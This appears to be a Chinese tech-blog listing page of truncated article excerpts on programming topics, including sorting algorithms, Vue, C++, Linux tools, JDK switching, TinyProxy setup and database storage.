目录 1.选择排序&#xff1a; 1.介绍&#xff1a; 2.动态图解 3.举例 4.小结选择排序规则 5.选择排序代码 6.运行时间 代码&#xff1a; 运行结果&#xff1a; 1.排序算法简介 排序也称为排序算法。排序是将一组数据依据指定的顺序进行排列的过程。 2.常见的排序算法…

国内好用的测试用例管理工具有哪些?

目前市面上的测试用例管理工具有很多&#xff0c;但由于针对的项目、领域、目标用户&#xff0c;功能也并不一致&#xff0c;所以选择一款适合的测试管理平台并不轻松。做好这件事&#xff0c;首先要需求明确你用测试管理工具干什么&#xff1f;最终想要达到什么目标&#xff1…

vue2人力资源项目8员工详情

页面结构 <template><div class"dashboard-container"><div class"app-container"><div class"edit-form"><el-form ref"userForm" label-width"220px"><!-- 姓名 部门 --><el-row…

【科研】常用的实验结果评价指标(2) —— MAE 是什么? !

了解MAE 提示&#xff1a;先说概念&#xff0c;后续再陆续上代码 文章目录 了解MAE前言一、MAE 基本概念1. MAE 是什么&#xff1f;2. MAE 的起源3. MAE 的计算公式 二、MAE的适用场景是什么&#xff1f;三、MAE 的劣势&#xff0c;或 不适用于那些场景或者数据&#xff1f;四、…

Linux修炼之路之yum和vim编辑器

目录 一&#xff1a;Linux软件包管理器yum 二&#xff1a;vim编辑器 vim的三种模式及互相转换 命令模式 底行模式 三&#xff1a;普通用户的sudo指令(修改信任名单) 接下来的日子会顺顺利利&#xff0c;万事胜意&#xff0c;生活明朗-----------林辞忧 一&#xff1a…

c++编程(11)——string类的模拟实现

欢迎来到博主的专栏——c编程 博主ID&#xff1a;代码小豪 文章目录 前言string类的模拟实现string的成员对象构造、赋值、析构访问成员对象的接口访问字符串中的元素迭代器对字符序列的插入、删除元素操作mystring类的相关操作 mystring类的所有模拟实现以及测试案例 前言 本…

【已解决】 ‘Conv2d’ object has no attribute ‘register_full_backward_hook’

&#x1f60e; 作者介绍&#xff1a;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff0c;视频号&#xff1a;AI-行者Sun &#x1f388; 本文专栏&#xff1a;本文收录于《AI实战中的各种bug…

(四十二)第 6 章 树和二叉树(树的二叉链表(孩子-兄弟)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

centos7中如何优雅的动态切换jdk版本?

在 CentOS 7 中动态切换 JDK 版本可以通过多种方法实现&#xff0c;其中最常见的方法是使用 alternatives 命令&#xff0c;这是 CentOS 和其他基于 Red Hat 的系统中用于管理多个软件版本的标准工具。下面我会详细介绍如何使用 alternatives 命令来切换 JDK 版本。 步骤 1: 安…

【JS面试题】this

this取什么值&#xff0c;是在函数执行的时候确定的&#xff0c;不是在函数定义的时候确定的&#xff01; this的6种使用场景&#xff1a; ① 在普通函数中使用&#xff1a;返回window对象 ② 使用call apply bind 调用&#xff1a;绑定的是哪个对象就返回哪个对象 ③ 在对象…

怎样计算Excel一列数值中十位数为5的个数?

有一列数字&#xff0c;可能正数也可能是负数&#xff0c;有可能有小数&#xff0c;要怎么计算这列数字中十位数为5的数量有多少个&#xff1f; 一、按示例情况&#xff0c;数字均为整数 公式如下&#xff1a; SUM(--(MID(A1:A6,LEN(A1:A6)-1,1)"5")) 数组公式&a…

一台linux通过另一台linux访问互联网-TinyProxy

参考&#xff1a; https://blog.csdn.net/weixin_41831919/article/details/113061317https://www.yuncongz.com/archives/1.htmlhttps://blog.csdn.net/aoc68397/article/details/101893369 环境&#xff1a;ubuntu 18.04 机器1: IP 219.216.65.252 (可以访问外网) 机器2: IP…

【C++语言】动态内存管理

文章目录 前言内存管理数据存储位置C语言动态内存管理方式C动态内存管理方式&#xff1a;new/deleteoperator new与operator delete函数new和delete的实现原理定位new表达式&#xff08;了解&#xff09;常见面试题 总结C语言系列学习目录 前言 本章要介绍的是动态内存管理&am…

学习神经网络基础架构

今日学习了解了常见的几种神经网络基础架构。 1.卷积神经网络 卷积神经网络CNN是一种人工神经网络&#xff0c;旨在处理和分析具有网格状拓扑结构的数据&#xff0c;如图像和视频。将 CNN 想象成一个多层过滤器&#xff0c;可处理图像以提取有意义的特征并进行推理预测。 想…

PG数据文件和块管理与Oracle比较

之前有说过PG数据库中的对象oid与数据文件一一对应&#xff0c;创建的数据库如果没有指定表空间&#xff0c;则会默认放在默认表空间中&#xff0c;例如&#xff1a; 1.对象OID与数据文件对应关系 Oracle的逻辑与物理对应关系如下&#xff1a; 两种结果相比较而言&#xff1a; …